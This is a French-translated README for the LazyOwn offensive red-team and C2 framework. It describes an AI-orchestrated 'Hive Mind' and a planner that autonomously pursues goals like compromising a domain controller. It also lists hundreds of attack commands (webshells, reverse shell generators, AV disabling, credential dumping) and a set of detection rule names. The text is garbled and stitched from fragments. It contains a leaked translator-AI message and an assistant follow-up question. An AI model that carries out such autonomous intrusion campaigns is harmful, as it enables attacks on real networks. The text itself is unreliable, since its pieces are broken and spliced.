Agrégation des probabilités : P(detect) = 1 - ∏(1 - P_i) sur toutes les règles déclenchées.
modules/auto_purple.pyBoucle de mesure automatisée red-vs-blue qui exécute des actions offensives, interroge LazyOwnBT pour la détection, et renvoie les résultats au Detection Oracle pour calibration.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI
**Méthodes de détection :**
| Méthode | Ce qu'elle vérifie |
|--------|----------------|
| `ai_test` | Prédiction du modèle ML LazyOwnBT |
| `proc_scan` | Noms de processus suspects |
| `net_scan` | Connexions/ports inhabituels |
| `log_analyze` | Anomalies d'authentification/syslog |
| `fim_scan` | Modifications de l'intégrité des fichiers |
| `redteam_hunt` | Motifs de threat hunting |
| `sigma_rules` | 10 règles Sigma (mimikatz, reverse shell, privesc, nmap, webshell, /etc/shadow, cron, SMB, exfil, injection) |
**Moteur de détection des règles Sigma** (LazyOwnBT `lazyownbt/detection.py`) :
| ID | Règle | Niveau |
|----|------|-------|
| LAZYOWN-001 | Mimikatz Credential Dump | critical |
| LAZYOWN-002 | Reverse Shell Pattern | critical |
| LAZYOWN-003 | Privilege Escalation via Sudo | high |
| LAZYOWN-004 | Nmap Scan Detected | medium |
| LAZYOWN-005 | Webshell Execution | critical |
| LAZYOWN-006 | Process Injection | high |
| LAZYOWN-007 | /etc/shadow Access | critical |
| LAZYOWN-008 | Cron Persistence | high |
| LAZYOWN-009 | Lateral Movement SMB | high |
| LAZYOWN-010 | Data Exfiltration | high |
**Fichiers de sortie :**
- `sessions/purple_dataset.csv` — Jeu de données d'entraînement ML
- `sessions/purple_audit.jsonl` — Journal d'audit complet
- `sessions/detection_feedback.jsonl` — Calibration de l'oracle
**Remarque :** Pour une utilisation en production, intégrez un véritable SIEM (Wazuh, Elastic SIEM, Splunk) via la redirection des journaux auditd. Les règles Sigma intégrées sont uniquement destinées aux tests hors ligne.
### Hive Mind — `skills/hive_mind.py`
Architecture multi-agents reine+drone avec mémoire partagée :
- **QueenBrain** (Claude) : orchestration de haut niveau + ConsensusProtocol pour les actions à haut risque
- **DronePool** (Groq/Ollama) : exécution parallèle des tâches de reconnaissance/exploit/cred/lateral/privesc
- **HiveMemory** : stockage sémantique ChromaDB + épisodique SQLite + long terme Parquet
- **EpisodeReflectionEngine** : extraction des leçons post-campagne stockées sous `sessions/campaign_lessons.jsonl`
### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`
**Le premier framework C2 qui planifie, exécute et apprend de manière autonome.**
ACI comble le fossé entre un objectif d'engagement en langage naturel et une boucle
d'exécution entièrement autonome. Aucun concurrent (Cobalt Strike, Sliver, Havoc,
Metasploit) ne fait cela de bout en bout :```
Operator: "Compromise the domain controller at corp.internal
starting from a phishing foothold on 10.10.11.5"
↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
recon → exploit → exec → privesc → cred → lateral → report
↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
feeds back into the next engagement
Trois outils MCP :
| Outil | Ce qu'il fait |
|---|---|
lazyown_aci_plan | Décomposer un objectif → plan ATT&CK → injecter des objectifs |
lazyown_aci_status | Répartition des phases en direct, % d'achèvement, recommandation de replanification |
lazyown_aci_replan | Forcer une replanification adaptative en cas de blocage ; génère automatiquement des leçons |
Démarrage rapide :```python
lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )
lazyown_auto_loop(target="10.10.11.5", max_steps=20)
lazyown_aci_status()
lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")
**Ce qui rend ACI unique par rapport aux autres outils :**
- Cobalt Strike / Sliver / Havoc sont des frameworks C2 — l'opérateur planifie chaque étape
- Metasploit dispose d'automatisation mais sans intelligence
- CALDERA émule des procédures ATT&CK fixes mais ne peut pas s'adapter à des environnements inédits
- **ACI planifie, exécute, replanifie et apprend — en continu, à travers les engagements**
**Persistance :**
| Fichier | Contenu |
|------|----------|
| `sessions/aci_plan.json` | Plan actif : phases, objectifs, état d'achèvement |
| `sessions/aci_history.jsonl` | Plans terminés/abandonnés archivés |
| `sessions/campaign_lessons.jsonl` | Leçons extraites par ACIReflector |
**Utilisation de la CLI (autonome) :**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect
skills/autonomous_daemon.pyQuatre rôles asyncio dans un seul processus — aucun Claude requis entre les étapes :``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings
Activez SWAN dans le démon : `export AUTO_USE_SWAN=1` avant le démarrage.
ACI alimente le démon : les objectifs injectés par `lazyown_aci_plan` sont récupérés
automatiquement par le Rôle 1 (ObjectiveLoop) — aucune configuration supplémentaire n'est nécessaire.
### Raisonnement basé sur les graphes — `modules/world_model.py`
NetworkGraph suit toutes les relations découvertes (hôtes, services, identifiants, chemins de confiance) et calcule la centralité de degré normalisée pour faire émerger les candidats pivots. Les 3 meilleurs candidats sont injectés dans chaque appel à `to_context_string()`, garantissant que la boucle autonome connaît toujours les cibles de mouvement latéral à plus forte valeur.
## Garde de périmètre d'autorisation
Un framework red-team qui lit sa cible depuis `payload.json` a un tranchant acéré :
un `rhost` égaré déclenche des commandes offensives vers un hôte non autorisé. La garde de périmètre
est le filet de sécurité. Chaque commande interactive passe par un point de passage unique
qui vérifie la cible active par rapport à votre périmètre d'engagement autorisé avant que la
commande ne s'exécute.```bash
(LazyOwn) > scope add 10.10.11.0/24 # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce # off | warn (default) | enforce
(LazyOwn) > scope # show current scope and posture
off, donc les campagnes existantes ne sont pas affectées tant que vous n'activez pas l'option. Toute erreur interne autorise la commande plutôt que de bloquer l'opérateur.warn annote les commandes offensives hors périmètre ; enforce les bloque en attente d'une confirmation explicite (et refuse dans les sessions non interactives).do_* sont auto-classifiées.payload.json (scope, scope_enforcement) ; la logique pure réside dans cli/scope_guard.py avec zéro couplage au shell.Les dépendances sont déclarées une seule fois dans pyproject.toml (source unique de vérité) et épinglées pour des installations reproductibles :
requirements.txt — verrouillage du cœur multiplateforme (sans wheels CUDA).requirements-ml.txt — optionnel, stack ML lourde (torch/CUDA, scikit-learn).install.sh s'exécute en mode strict et est idempotent. L'installation par défaut est légère ; activez les extras avec --with-ml (stack ML de 2 Go), --with-ollama (runtime LLM local) et --with-tools (binaires externes courants).pip install -e .[ml,dev].Ctrl+K), indices réactifs en ligne après chaque commande, et un tableau de bord TUI Textual.yara_marketplace (10 règles intégrées : ransomware, C2, webshells, obfuscation, privesc), nuclei_marketplace (500+ templates), marketplace pour les plugins/addons communautaires — tous navigables via une TUI curses.auto_pwn parcourt automatiquement les phases de la kill-chain, hunt exécute une découverte ciblée basée sur les TTPs connus.auto_crypto chiffre les fichiers de session sensibles à la sortie et les déchiffre au démarrage (PBKDF2HMAC + Fernet), de manière transparente pour l'opérateur.dlopen. API datap compatible au niveau source avec le contrat BOF Windows. Syscalls directs et support io_uring.sessions/captured_images.lazynmap.
cron pour planifier et automatiser des tâches, permettant des simulations de menaces persistantes.
/addons guidées dans le tableau de bord C2 pour créer des intégrations lazyaddons/*.yaml sans toucher au YAML manuellement. Un formulaire expose chaque option d'addon (nom, description, auteur, version, activé, OS cible, services déclencheurs, catégorie, type de module, type d'installation, paramètres, bloc d'outil, extras C2, variables d'environnement) avec des infobulles, des espaces réservés et une aide par champ. Les puces d'espace réservé ({rhost}, {url}, paramètres déclarés et chaque clé payload.json) sont glisser-déposer dans les zones de commande. La validation côté serveur rejette les noms dangereux, la traversée de chemin, les espaces réservés inconnus et les URL malformées avant l'écriture du fichier ; les écritures sont atomiques et sécurisées (fichier temporaire créé avec des permissions restrictives via mkstemp + fchmod, vidé et fsyncé, puis promu avec os.replace). Les pages de liste et d'aperçu YAML complètent le cycle de vie. Chaque route de mutation est protégée par CSRF. Contrat : lazyc2/addon_creator.py + lazyc2/blueprints/addons.py, couvert par tests/test_addon_creator.py et la porte de mutation tests/run_mutation_addon_creator.py..pdfx) et intègre des icônes personnalisées via rsrc pour une ingénierie sociale convaincante.
modules/killchain.py calcule la phase ; chaque surface (CLI /killchain, /api/killchain, C2 /api/data+/api/dashboard, panneau GUI2) affiche son snapshot()./api/beacon_results/<client_id>, soutenu par modules/beacon_history.py (JSONL, sûr au niveau des chemins)./killchain auto on|off|N rafraîchissement automatique en direct ; drapeaux killchain_auto_every / killchain_auto_on_phase_change.Parcourez, recherchez et installez depuis une TUI de marketplace unifiée :
yara_marketplace list|search|install|info -- 10 règles intégrées (ransomware, C2, webshells, obfuscation, privesc)nuclei_marketplace list|search|install|info -- 500+ templates depuis ~/nuclei-templatesmarketplace list|search|install|update -- 137 addons YAML, 57 plugins, 69 outilsauto_pwn -- parcours autonome de la kill-chain de la reconnaissance à l'exploitationhunt -- reconnaissance guidée par les menaces : mappe les TTPs connus aux services découvertsChiffrement transparent de session à la sortie / déchiffrement au démarrage via PBKDF2HMAC + Fernet.
7 profils APT : Azure Graph API, CICD Poisoning, Entra Connect, macOS TCC, OAuth Token Theft, SCCM/MECM, VDI Breakout.
chainmode on démarre un flux de chaînage piloté par un modèle du monde : après chaque commande, le shell propose des étapes suivantes classées (Entrée = suggestion principale, 1..N = alternative classée, toute commande = remplacement, skip = manuel, ESC/Ctrl+C/off = quitter). Les choix invalides redemandent au lieu d'ignorer silencieusement, et le flux se met automatiquement en pause après max_steps commandes chaînées. L'état persiste dans sessions/chain_mode.json (écritures atomiques). Contrat : cli/chain_mode.py + cli/command_chain.py.
[0, 99], jamais un 100% malhonnête), une raison et une provenance. Contrat : cli/reactive_hints.py + cli/recommendation_signals.py.cli/tips_engine.py.cli/noise_verbs.py est la source unique de vérité pour les listes de verbes non actionnables partagées par les indices, les conseils et le mode chaîne.core/api_authz.py implémente désormais la fenêtre de grâce de rotation documentée, copie les permissions depuis la clé pivotée (régression corrigée), renvoie du JSON 401/403 (sûr avec TRAP_HTTP_EXCEPTIONS), et le point de terminaison C2 /api/health/tenant est réellement appliqué. Porte de mutation : tests/run_mutation_api_authz.py (7/7 tués).core/logging.py install_json_handler préserve les handlers préexistants et est idempotent.Primitives de sécurité centralisées dans core/hardening.py avec 48 tests de style BDD (tests/test_security_hardening_v3.py). Exécuter avec :```bash
pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v
mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py
**Correctifs clés appliqués :**
- `shell=True` éliminé de `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py` (22 instances)
- `os.system()` éliminé de `persist_migrated.py`, `cloud.py`, `lazyown.py` (4 instances), `misc_migrated.py`
- `os.popen()` éliminé de `websocket_beacon.py`, `evasive_payload.py`
- `sshpass -p` remplacé par `sshpass -e` + variable d'environnement dans 4 fichiers (C2, lateral, exfil, persist)
- Clé de chiffrement codée en dur supprimée de `phishing_orchestrator.py` (ENCRYPTION_KEY obligatoire)
- XSS dans la bannière C2 corrigé avec `html.escape()`
- Injection de commande via rhost dans le presse-papiers corrigée avec `safe_clipboard_copy()`
- cmd2 `CMD_ATTR_HELP_CATEGORY` renommé en `COMMAND_ATTR_HELP_CATEGORY` (compatibilité cmd2 4.2.2)
---
## Capacités des commandes
LazyOwn fournit 741 commandes réparties sur 13 phases de kill-chain, disponibles depuis l'interface CLI et le tableau de bord C2 web :
| Phase | Commandes principales |
|-------|-------------------|
| Recon | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| Enum | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| Exploit | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| Post-Exploit | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| Persistance | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| PrivEsc | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| Accès aux identifiants | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| Latéral | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| Exfil | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| Reporting | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| IA/Agents | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| Marketplace | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |
Gestion principale : `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.
Voir [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) pour la référence complète des 606 commandes et [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) pour les 18 commandes qui couvrent 80 % des engagements.
# Étendre LazyOwnShell avec des plugins Lua
Ce document explique comment utiliser le scripting Lua pour étendre les fonctionnalités de l'application `LazyOwnShell`, qui est construite sur le framework `cmd2` en Python. Lua vous permet d'écrire des plugins personnalisés capables d'ajouter de nouvelles commandes, de modifier le comportement existant ou d'accéder aux données de l'application.
---
## Table des matières
1. [Introduction](#introduction)
2. [Configuration des plugins Lua](#setting-up-lua-plugins)
3. [Écriture de plugins Lua](#writing-lua-plugins)
4. [Enregistrement de nouvelles commandes](#registering-new-commands)
5. [Accès aux données de l'application](#accessing-application-data)
6. [Gestion des erreurs](#error-handling)
7. [Exemples de plugins](#example-plugins)
8. [Bonnes pratiques](#best-practices)
---
## 1. Introduction
L'application `LazyOwnShell` prend en charge le scripting Lua pour permettre aux utilisateurs d'étendre ses fonctionnalités sans modifier le code Python principal. Les scripts Lua (plugins) sont stockés dans le répertoire `plugins/` et sont automatiquement chargés au démarrage de l'application.
Les plugins Lua peuvent :
- Ajouter de nouvelles commandes au shell.
- Modifier des commandes ou comportements existants.
- Accéder aux données de l'application exposées par Python et les manipuler.
---
## 2. Configuration des plugins Lua
Pour utiliser les plugins Lua, assurez-vous de ce qui suit :
1. Installez la bibliothèque `lupa` dans votre environnement Python : ```bash
pip install lupa
plugins/
init_plugins.lua
hello.lua
goodbye.lua
Lorsque l'application démarre, elle exécute init_plugins.lua, qui charge tous les autres fichiers .lua du répertoire plugins/.
Structure d'un plugin Lua ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end
-- Register the function as a command
register_command("my_command", my_command)
Fonctions clés
- register_command(command_name, lua_function):
- Enregistre une nouvelle commande dans le shell.
- command_name : Le nom de la commande (par exemple, hello).
- lua_function : La fonction Lua à exécuter lorsque la commande est appelée.
3. Enregistrement de nouvelles commandes
Pour ajouter une nouvelle commande au shell, suivez ces étapes :
- Définissez une fonction Lua qui implémente la logique de la commande.
- Utilisez register_command pour enregistrer la fonction en tant que commande.
- Exemple : Ajout d'une commande hello
- Créez un fichier plugins/hello.lua avec le contenu suivant : ```lua
function hello(arg)
local name = arg or "world"
print("Hello, " .. name .. "!")
end
register_command("hello", hello)
Maintenant, vous pouvez exécuter la commande hello dans le shell :
bash hello Lua Hello, Lua!
4. Bonnes pratiques
En tirant parti du scripting Lua, vous pouvez étendre les fonctionnalités de LazyOwnShell sans modifier le code Python principal. Cela permet une plus grande flexibilité et personnalisation, permettant aux utilisateurs d'écrire leurs propres plugins pour répondre à des besoins spécifiques. Bon codage !
Étendre les capacités du framework RedTeam LazyOwn n'a jamais été aussi simple, même pour les non-programmeurs, grâce au système LazyAddons qui permet d'étendre les fonctionnalités à l'aide de fichiers YAML.
Création de commandes déclaratives via des fichiers de configuration YAML.
lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml
name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"
tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"
Configuration avancée```yaml
params:
- name: "url"
required: true
description: "Target URL"
default: "http://localhost"
- name: "threads"
required: false
default: 4
Fonctionnalités Auto-Installation Les outils sont clonés depuis Git lorsqu'ils sont manquants :```bash git clone <repo_url> <install_path>
Substitution de paramètres
Remplace {param} dans les commandes par des valeurs provenant de :
- Arguments de commande
- Valeurs par défaut
- self.params
- Intégration de l'aide
help <command> affiche la description YAML.
Modèle```yaml
name: ""
enabled: true
description: ""
tool:
name: ""
repo_url: ""
install_path: ""
install_command: "" # Optional
execute_command: ""
params:
- name: ""
required: true/false
default: ""
description: ""
▶️ Utilisation Placez les fichiers YAML dans lazyaddons/
Démarrez votre application CLI
Exécutez les commandes enregistrées :```bash (Cmd) help your_command (Cmd) your_command -args
🚨 Dépannage
Paramètres manquants : Vérifiez les champs requis dans le YAML
Échecs d'installation : Vérifiez l'accès réseau/git
Erreurs de commande : Validez la syntaxe de execute_command
Fonctionnalités clés :
- Markdown propre au format GitHub
- Axé uniquement sur les addons YAML
- Inclut des modèles prêts à l'emploi
- Documente le système de substitution des paramètres
- Fournit des conseils de dépannage
Souhaitez-vous que j'ajoute des exemples spécifiques ou des scénarios d'utilisation ?
LazyOwn sur Reddit
Révolutionnez votre pentesting avec LazyOwn : Automatisez l'intrusion sur les VICTIMES Linux, MAC OSX et Windows
<https://www.reddit.com/r/LazyOwn/>
<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>
Découvrez LazyOwn, la solution ultime pour automatiser le workflow de pentesting afin d'attaquer les systèmes Linux, MacOSX et Windows. Notre outil puissant simplifie le pentesting, le rendant plus efficace et plus performant. Regardez cette vidéo pour découvrir comment LazyOwn peut rationaliser vos évaluations de sécurité et améliorer votre boîte à outils de cybersécurité.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...
LazyOwn est idéal pour les professionnels de la cybersécurité à la recherche d'une solution centralisée et automatisée pour leurs besoins de pentesting, permettant de gagner du temps et d'améliorer l'efficacité dans l'identification et l'exploitation des vulnérabilités.
Python 3.x
Modules Python :
subprocess (inclus dans la bibliothèque standard de Python)
platform (inclus dans la bibliothèque standard de Python)
tkinter (Optionnel pour l'interface graphique)
numpy (Optionnel pour l'interface graphique)
2. Installez les dépendances Python :```sh
./install.sh
```sh
./run or ./fast_run_as_r00t.sh
./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner
./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)
I don't have the source content to translate. You've provided the instructions and chunk metadata, but the actual Markdown text for chunk 80/156 is missing.
Please paste the source content you want translated, and I'll return the French translation following all the rules you specified.```
Use assign <parameter> <value> to configure parameters.
Use show to display the current parameter values.
Use run <script_name> to execute a script with the set parameters.
Use exit to exit the CLI.
Once the shell is running, you can use the following commands:
list: Lists all LazyOwn Modules.
assign <parameter> <value>: Sets the value of a parameter. For example, assign rhost 192.168.1.1.
show: Displays the current values of all parameters.
run <script>: Executes a specific script available in the framework.
Available Scripts
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ help
01. Reconnaissance
──────────────────
alterx finalrecon ping trace
apache_users getcap ports trufflehog
binarycheck gospider proxy tshark_analyze
cve graudit recon waybackmachine
dig httprobe serveralive2 whatweb
dnschef ipinfo sherlock windapsearchscrapeusers
dnsenum launchpad sslscan
dnsmap metabigor tcpdump_capture
dnstool_py openssl_sclient tcpdump_icmp
02. Scanning & Enumeration
──────────────────────────
ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan
allin evil_ssdp net_rpc_addmem rpcmap_py
amass feroxbuster netexec samrdump
arjun finger_user_enum netview sawks
arpscan fuzz nikto sessionssh
batchnmap getnpusers nmapscript skipfish
bbot gobuster nuclei smbattack
blazy hound odat smbclient
bloodhound kerbrute openredirex smbclient_impacket
breacher lazynmap osmedeus smbclient_py
certipy ldapdomaindump parsero smbmap
certipy_ad ldapsearch parth smtpuserenum
changeme lookupsid portdiscover snmpcheck
cme lookupsid_py portservicediscover snmpwalk
davtest loxs pre2k swaks
dirsearch lynis pykerbrute vscan
dmitry magicrecon rdp_check_py wfuzz
enum4linux mqtt_check_py rpcclient windapsearch
03. Exploitation
────────────────
aclpwn_py gettgtpkinit_py psexec sqlmap
addspn_py greatSCT psexec_py sqsh
autoblody img2cookie py3ttyup ss
cacti_exploit jwt_tool pyautomate sshexploit
commix krbrelayx_py pyoracle2 template_helper_serializer
cp kusa pywhisker ticketer
createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
createdll lfi rev upload_bypass
digdug lol seo utf
download_exploit ms08_067_netapi sharpshooter winbase64payload
downloader ntpdate shellfire wrapper
eternal owneredit shellshock www
excelntdonut padbuster sireprat xss
filtering powerserver sqli xsstrike
gets4uticket_py printerbug_py sqli_mssql_test
04. Post-Exploitation
─────────────────────
add2find exe2bin pezorsh
adversary exe2donutbin pip_proxy
adversary_yaml extract_yaml pip_repo
aes_pe find powershell_cmd_stager
ai_playbook follina rmfromfind
apt_proxy hex2shellcode rubeus
apt_repo internet_proxy scavenger
atomic_lazyown issue_command_to_c2 scp
bin2shellcode lazywebshell service_ssh
convert_remcomsvc_from_file mimikatzpy sessionsshstrace
cports msfshellcoder shellcode
create_synthetic ofuscate_string shellcode2elf
createpayload ofuscatesh shellcode2sylk
d3monizedshell ofuscatorps1 shellcode_search
disableav path2hex ssh_cmd
05. Persistence
───────────────
asprevbase64 ftp msfpc setoolKits
backdoor_factory generate_revshell paranoid_meterpreter ssh
conptyshell grisun0 pwncat toctoc
createrevshell grisun0w pwncatcs veil
createwebshell ivy rdp weevely
createwinrevshell knokknok revwin weevelygen
darkarmour listener_go scarecrow
dr0p1t listener_py service
06. Privilege Escalation
────────────────────────
responder smbserver
07. Credential Access
─────────────────────
addusers cred john2hash rocky
adsso_spray creds_py john2keepas searchhash
cewl crunch john2zip smalldic
crack_cisco_7_password cubespraying keepass spraykatz
createcredentials dacledit medusa sshkey
createhash generatedic passtightvnc sudo
createmail hashcat passwordspray transform
createusers_and_hashs hydra refill_password username_anarchy
08. Lateral Movement
────────────────────
addcli id_rsa penelope sshd wifipass
bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
chisel ligolo rnc targetedKerberoas wmiexecpro
dcomexec mssqlcli set_proxychains tord
getTGT nc shadowsocks upload_c2
gospherus ngrok socat vpn
09. Data Exfiltration
─────────────────────
adgetpass dploot evilwinrm getuserspns reg_py secretsdump
decrypt encrypt getadusers gitdumper rsync unzip
download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile
10. Command & Control
─────────────────────
atomic_agent automsf emp3r0r mitre_test sliver_server
atomic_gen c2 empire msf
atomic_tests caldera generate_playbook msfrpc
attack_plan duckyspark iis_webdav_upload_asp my_playbook
11. Reporting
─────────────
apropos createtargets gpt process_scans
banners download_malwarebazar groq pth_net
c2asm extract_ports img2vid pup
camphish eyewitness malwarebazar vulns
create_session_json eyewitness_py morse
createjsonmachine get_avaible_actions name_the_hash
createjsonmachine_batch gowitness nmapscripthelp
12. Miscellaneous
─────────────────
acknowledgearp clone_site getseclist links run
acknowledgeicmp cron graph list sh
addhosts decode h load_session show
aliass download_resources hex_to_plaintext nano sys
assign encode ignorearp news tab
banner encoderpayload ignoreicmp payload urldecode
base64decode encodewinbase64 ip pwd urlencode
base64encode exit ip2asn qa v
check_update fixel ip2hex rhost
clean fixperm kick rot
clock gencert lazyscript rotf
13. Lua Plugin
──────────────
generate_c_reverse_shell lolbas_certutil_download_exec
generate_cleanup_commands lolbas_certutil_exe
generate_html_payload lolbas_mshta_js
generate_lateral_command lolbas_mshta_reverse_shell
generate_linux_asm_reverse_shell lolbas_rundll32_dll
generate_linux_raw_shellcode lolbas_wmic_xsl_execution
generate_lolbird parse_nmap_with_xmlstarlet
generate_msfvenom_loader run_nuclei_on_nmap_files
generate_msfvenom_loader_windows run_python_rev_c2
generate_reverse_shell rundll32_sct_from_url
generate_stub validate_shellcode
kerberos_harvest visualize_network
lolbas_bitsadmin_exe
14. Yaml Addon.
───────────────
AdaptixC2 GoPEInjection OverRide
agentzero gosearch peeko
argfuscator gui pretender
ATTPwn gui2 PTMultiTools
AuroraPatch hack_browser_data PTMultiTools_scan
banner_tool hellbird PyinMemoryPE
bbr hive pyrit
beacon hooka_linux_amd64 raven
blacksandbeacon hostdiscover ridenum
blacksandbeacon_bof kivi_revshell setoolkit
cgoblin_windows laps ShadowLink
Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored
commix2 lazyagentAi SigPloit
copy-fail-CVE-2026-31431 lazybinenc spoonmap
CVE-2022-22077 lazyftpsniff stratus_detonate
CVE_2025_24071_PoC LazyLoader stratus_list
demiguise lazymapd toposwarm
ebird3 lazyownbt unicorn
evilginx2 LazyOwnExplorer upxdump
gcr llm vulnbot
gemini-cli NullGate vulnbot_groq
gen_dll_rev oniux vulnhuntr
Get_ReverseShell opencode_adapter watchguard
githubot orpheus wspcoerce
gomulti_loader_linux
gomulti_loader_windows
15. Adversary YAML.
───────────────────
amsi_c implant_nim_nim infect_c pid_c
implant_crypt_go implant_rust_rs persist_ps1 shell_c
16. Artificial Intelligence
───────────────────────────
ai_toggle
Uncategorized Commands
──────────────────────
addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool
ffuf_enumeration history notify run_pyscript
ffuf_tool ipp nuclei_ad_http run_script
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $
https://deepwiki.com/grisuno/LazyOwn/```sh LazyOwn> assign binary_name my_binary LazyOwn> assign rhost 192.168.1.100 LazyOwn> assign api_key my_api_key LazyOwn> run lazysearch LazyOwn> run lazynmap LazyOwn> exit
Pour effectuer des recherches dans la base de données extraite obtenue depuis GTFOBins.```sh
python3 lazysearch.py binario_a_buscar
Fonctionnalités et améliorations supplémentaires : AutocompleteEntry :
Un filtre a été ajouté pour supprimer les valeurs None de la liste d'autocomplétion. Nouveau vecteur d'attaque :
Un bouton « New Attack Vector » a été ajouté à l'interface principale. La fonctionnalité permettant d'ajouter un nouveau vecteur d'attaque et d'enregistrer les données mises à jour dans des fichiers Parquet a été implémentée. Export vers CSV :
Un bouton « Export to CSV » a été ajouté à l'interface principale. La fonctionnalité permettant d'exporter les données d'un DataFrame vers un fichier CSV choisi par l'utilisateur a été implémentée. Utilisation :
Ajouter un nouveau vecteur d'attaque : cliquez sur le bouton « New Attack Vector », remplissez les champs et enregistrez. Export vers CSV : cliquez sur le bouton « Export to CSV » et sélectionnez l'emplacement où enregistrer le fichier CSV. Nouvelle fonction scan_system_for_binaries :
Implémente des recherches de binaires à l'échelle du système à l'aide de la commande file pour déterminer si un fichier est binaire. Utilise os.walk pour parcourir le système de fichiers. Les résultats sont affichés dans une nouvelle fenêtre au sein de l'interface graphique. Bouton pour rechercher des binaires :
Un bouton « Search System for Binaries » a été ajouté à l'interface principale, qui appelle la fonction scan_system_for_binaries. Remarque :
La fonction is_binary utilise la commande Unix file pour déterminer si un fichier est un exécutable binaire. Si vous utilisez un autre système d'exploitation, vous devrez adapter cette méthode pour assurer la compatibilité. Cette implémentation peut être gourmande en ressources car elle parcourt l'intégralité du système de fichiers. Vous pouvez envisager d'ajouter des options supplémentaires pour limiter la recherche à des répertoires spécifiques ou filtrer certains types de fichiers.```sh python3 LazyOwnExplorer.py
```sh
python3 lazyown.py
Si vous souhaitez mettre à jour, nous procédons comme suit :```sh cd LazyOwn rm parquets/.csv rm parquets/.parquet ./update_db.sh
## Utiliser le mode LazyOwn WebShells
LazyOwn Webshell Collection est une collection de webshells pour notre framework, qui nous permet d'établir un webshell sur la machine où nous exécutons LazyOwn en utilisant divers langages de programmation. Essentiellement, LazyOwn Webshell lance un serveur web dans le répertoire des modules, le rendant accessible via un navigateur web. Cela nous permet à la fois de rendre les modules disponibles séparément via le web et d'accéder au répertoire cgi-bin, où se trouvent quatre shells : un en Bash, un autre en Perl, un autre en Python, et un en ASP, au cas où la cible serait une machine Windows.```sh
lazywebshell
y listo ya podemos acceder a cualquiera de estas url:
Exécute l'outil `msfvenom` pour générer une variété de payloads en fonction des entrées de l'utilisateur.
